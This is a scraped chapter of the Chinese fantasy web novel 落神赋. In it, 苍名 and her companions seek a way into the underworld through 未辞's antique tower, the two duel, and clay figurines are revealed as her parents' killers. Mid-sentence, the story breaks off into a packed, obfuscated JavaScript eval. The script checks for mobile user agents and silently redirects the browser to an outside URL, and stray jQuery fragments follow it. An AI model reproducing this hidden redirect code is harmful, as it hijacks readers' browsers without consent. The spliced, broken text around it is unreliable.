123读书网 > 玄幻小说 > 落神赋 > 36. 笑逢棋对手
    苍名转头低声对无律说:“你还能借到去冥界的钥匙吗?”


    无律幽怨地说:“方才的客人都被冻跑了,这会儿去哪里借呢?不急的话,等天亮以后下一拨客人上门吧。”


    天心沭却坚持道:“等不了。”


    无律抱着膀子说:“我只能放消息给我熟识的小妖小鬼们试试,不保证一定会有效哦,我又不像你雪雕大王有权有势。”


    苍名无奈道:“好了好了,天心沭阁下平时是怎么往返人间与冥界的,这次能不能带着我们?”


    天心沭怒道:“当然是用我的法术,你觉得我现在这个样子办得到吗?”


    希声幽幽地说:“我们也可以等你复原再出发。”


    不等天心沭爆发,苍名说道:“那么,有没有什么去冥界的办法,比如……顺着春秋渡漂过去?”


    她的提议立刻被一片激烈的声音否决了。天心沭不耐烦地说:“你就不会找个最近的入口么?那个古董店不行么?”


    苍名后背一凉:“你怎么知道那里的?”


    天心沭嗤道:“四海八荒,谁不知道逢焉城的古董店?”


    “……”苍名说,“我以前就不知道。”


    天心沭轻蔑地说:“那店主从不露面,未必看得起你,你直接把门炸开,我们闯进去找入口!”


    无律摸着下巴说:“我看这样,霍贤弟不是在那里打更吗,我们去求求他放我们进冥界,如果他不答应,我们就后半夜偷着溜进去!”


    苍名这才得知未辞的古楼本是众所周知的冥界出入之处,只不过从不对外开放,专供店主御用。于是她也不再替未辞隐瞒:“不错,我们可以试试。只是古董店主既然行为神秘,就一定不希望太多人看见那道入口。”


    无律接过她手里的坛子,像拍西瓜一样拍了两下,对天心沭说:“劳驾,你能不能回坛子里?”


    天心沭骂道:“滚!”


    苍名严肃地说:“实不相瞒,我既担心阁下窥见古楼的机关所在,也担心阁下突然半路扔下我们逃走。”


    天心沭反而不觉冒犯,哼哼一笑:“你们闯我山洞时,怎么不怕窥见了我的机关?”


    魏羌从怀里掏出一块红绸子:“这样吧,大王您把眼睛蒙住就行啦。”


    天心沭又要张嘴骂人,希声忽然从沉思中惊醒,伸手化出千境琵琶,利落地拨了几下,指法精湛,弦声铮铮。


    天心沭立在原地,忽忽悠悠地陷入昏睡之中。希声收起琵琶,催眠曲声还在房梁上缭绕了一番,才逐渐散去。


    无律珠联璧合地一挥手,几张纸人从绳子上跳下来,在空中迈开短腿,窸窸窣窣地跑到天心沭四周,抓着她的衣袖轻轻一提,带着她向门口漂浮移动。


    希声捡起苍名那件斗篷穿好,兜帽一扣,阴影遮住大半张脸。她冷冷地说:“走吧。”


    苍名忽然想起什么,双手摸了一下两个耳垂,发现传音耳环还戴在耳畔。她又伸手到希声斗篷里掏着:“对了,我得找一下唇脂……”


    希声冷不丁笑起来:“哈哈。”


    魏羌奇道:“奏潮仙,你竟笑了。”


    希声说:“痒。”


    这支奇怪的队伍向着古楼出发了。无律和魏羌一脸肉麻地看着苍名,苍名边走边往嘴上涂着薄薄的唇脂。


    想要在脑海中传音过去,却又难以开口。一边因为银发冠和百强谱的事唧唧歪歪,一边又去借用人家的冥界出入口,苍名犹豫了半天,没等传出音来,已经到达古楼后门。


    其余人遥遥站住,以示尊敬。空中那几张飒飒作响的纸人抓着天心沭,使她的脚离地约有一寸。苍名走上前,欲叩响门环。


    就在她的手触碰门环的一瞬间,门突然豁然洞开。银光如水般倾泻而出,扑面而来的是一股凌厉劲风,暗含着隐约的杀机。


    未及细想,多年来练就的直觉反应和精湛技艺,让苍名向后高高跃起,一个彩云拖尾般的潇洒空翻,如同绸带舞成的圆环,虽才退开,复又挺来。寒光一闪,长剑出鞘。


    叮一声,一根修长结实的手指弹开剑刃。


    苍名长剑几欲脱手,幸而顺势飞挽了几个剑花,卸去力度。彼此打了个平手,谁也没有占到上风。看清对方的身形相貌,不禁都一怔。


    这一开门就出了个大招的人,竟是未辞。


    而苍名的双腿还悬在空中,后腰弯折,上身向前探出刺剑,恰如倒挂揽月。


    电光火石之间,不等未辞开口,苍名忽然微微一笑,第二招如冰蛇狂舞般绚烂袭来。未辞侧身避过,欺身而上,迎面接招,一拳一掌变化无穷,似是毫不手下留情。


    他的嘴角,也带上了和苍名一样的有趣笑意。


    转眼间两人叮叮当当地过了上百招,从门口打到森林边,又从森林边打到江水边,月色西斜,才意犹未尽地停手。


    苍名仍旧是舞如莲绽,浩气涤荡,忽而落地收定,唯有天动地动,而身自不动。


    未辞则是身形刚劲,缓缓收式,自有一派气吞山河之势。


    只听一旁无律嚷道:“怎么搞的,你们俩怎么打到一块去了?吵架啦?”


    魏羌解释道:“音律仙,我们习武之人,以武会友也是常事。”


    希声则看守着由纸人提拉的天心沭,默默观战,不置可否。


    未辞对这几人看都不看,只是背着手望向苍名,双眼亮光流动。他说:“我很久没有和人这样畅快地过招了。”


    苍名得意地笑道:“我也很久没有这样跟人练功了。”想当年忘仙派弟子刻苦练功,时常两两过招,苍名却很少有棋逢对手的过瘾时候。


    他又说:“上一次,是千年以前了。”


    苍名摆手客气道:“哪里哪里,也不必夸我是千年第一剑客,哈哈。”


    未辞的喜悦眼神中混合着一丝忧郁。


    再抬起目光时,他说:“将军,方才我察觉到天心沭的妖气停在楼后,以为是她前来挑衅,不知是你来。”


    苍名爽快地拍了拍他的肩:“是我没有事先知会你,不怪你认错。”


    未辞看着她的头顶:“你的发冠,摘了?”


    苍名说:“是啊,洗澡时,摘掉了。”


    “难怪我以为你还呆在客栈。”他淡淡地说了一句,随即便转身往门里走去,只留下一个背影。


    “未辞,我们这么晚来打扰你,是为了去冥界。”苍名硬着头皮开口道,“总是拿你这里当通道,真是抱歉了,不知能不能让我们过去?”


    “要把她扔回冥界么?”未辞瞥了一眼天心沭,略带憋闷地说,“将军这么客气做什么,我自然是会带你们过去。”


    苍名连连推脱,声称夜色正浓,让未辞好好休息,自己一行人去去便回。未辞说道:“将军,我恰好也要去冥界讨债,你知道的。”


    不等苍名再说,无律就挤进门里:“走吧走吧。”


    希声和魏羌每人出一只手,挟着天心沭紧随其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172750|165173||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后。那几张纸人唰唰地脱离天心沭,哗啦啦向后退去,虽然寒夜无风,它们却像被吹着似的飞回客栈去了。


    苍名对未辞说:“这两日我想到一件事。黑山洞地牢里的未央冠,不知是不是老鬼莲偷走的?”


    无律在旁边接道:“老爹出入女儿的洞府,倒是方便得很吧。看他们打成那样,说不准,说不准。”


    苍名说:“所以这次咱们去找老鬼莲,不光要……”


    “原来是要去找他?”未辞的脸色微妙地变了,“将军,你想去冥界随便抓个鬼打一打自是好说,找你那位游大公子赔罪叙旧也并无不可,至于捉拿老鬼莲的事,还是不必了。”


    苍名莫名其妙地说:“这是怎么说?行侠仗义可是我的本分啊,老鬼莲害人无数,况且李小姐又……”


    无律问:“喂,霍贤弟,走不走了?”


    未辞干脆地说:“不走。”


    要说一点不丢人是假的。当着三位朋友的面,苍名略感颜面扫地。还有一丝愠怒和烦闷,是她自己也没有察觉的。


    未辞垂眼盯着苍名,长叹了一口气。苍名张嘴便说:“不用叹气,我不从你这里过了。”


    未辞却一挥手就关上后门,希声几人走也不是,留也不是,一时陷入尴尬。


    苍名也不明白自己怎会如此多思易怒,还对人不依不饶?从前她替人抓鬼,有时被人赖账,有时被人嫌这嫌那,她也从来不大放在心上。


    至于住在废弃村屋、又突然被赶了出去,更是常有之事。从流浪的第五年开始,苍名就已经悟到,即便贵为仙人,也只是体会着这世间的好事和坏事,而不能掌控什么。


    苍名低着头不敢看他,有些羞惭地对未辞说:“抱歉,是我……”


    一只熟悉的大手托着两个歪瓜裂枣的陶人,无声无息地伸到苍名的鼻子底下,反倒把她吓了一跳。


    “这是李弦真托你看管的东西,这些年来被她藏在弦真屿上。”未辞声音冷峻,空荡古楼中隐隐有回声来去。


    天心沭的白色瞳仁在白色眼眶里疯狂乱转着,她的眼里竟有一派山雨欲来的狼藉之意。


    未辞说:“将军,这两个人偶,就是当年害死你父母的真凶。”


    苍名猛地抬起头,直直地瞪着他,眼睛大睁,不知其是何用意。她的心脏又嘣嘣狂跳起来,胸腔的空气都泵了出去,仿佛再也吸不进来。


    魏羌问:“什么?鬼克星的父母竟不在了,还是被人杀害的?”


    希声上下扫视着未辞和陶人,无律抱着膀子开腔了。他先用拐棍指了指陶人,又指了指未辞,说:“霍贤弟,你们俩吵架归吵架,干嘛提我世伯和伯母的惨事呢?那两个烤糊了的丑玩偶怎会杀人?”


    “将军,如果李弦真的父母害死了你的父母,难道你还要趟这浑水去帮她对付老鬼莲?”未辞的浓眉压了下来,“将军,我知道你不会信我,所以,还是让当年的人来对你说吧。”


    疾风四起,泛着银光。在场众人的头发乱飞,柜台后的货架都格格作响,一扇禁闭的柜门突然砰地一声爆开。


    一只人偶跌跌撞撞地从柜门里冲出来,蹦到未辞脚下,满地轱辘打滚。


    苍名盯着那人偶看了一会儿,发现那是算命李,李老太太的泥人,上一次未辞拿出来给她看着玩。


    接着,那算命李的泥人轻轻炸响,被白烟笼罩。待得白烟散尽,一个佝偻的老妪站在原地,恭敬地对未辞说:“大人,您召唤我。”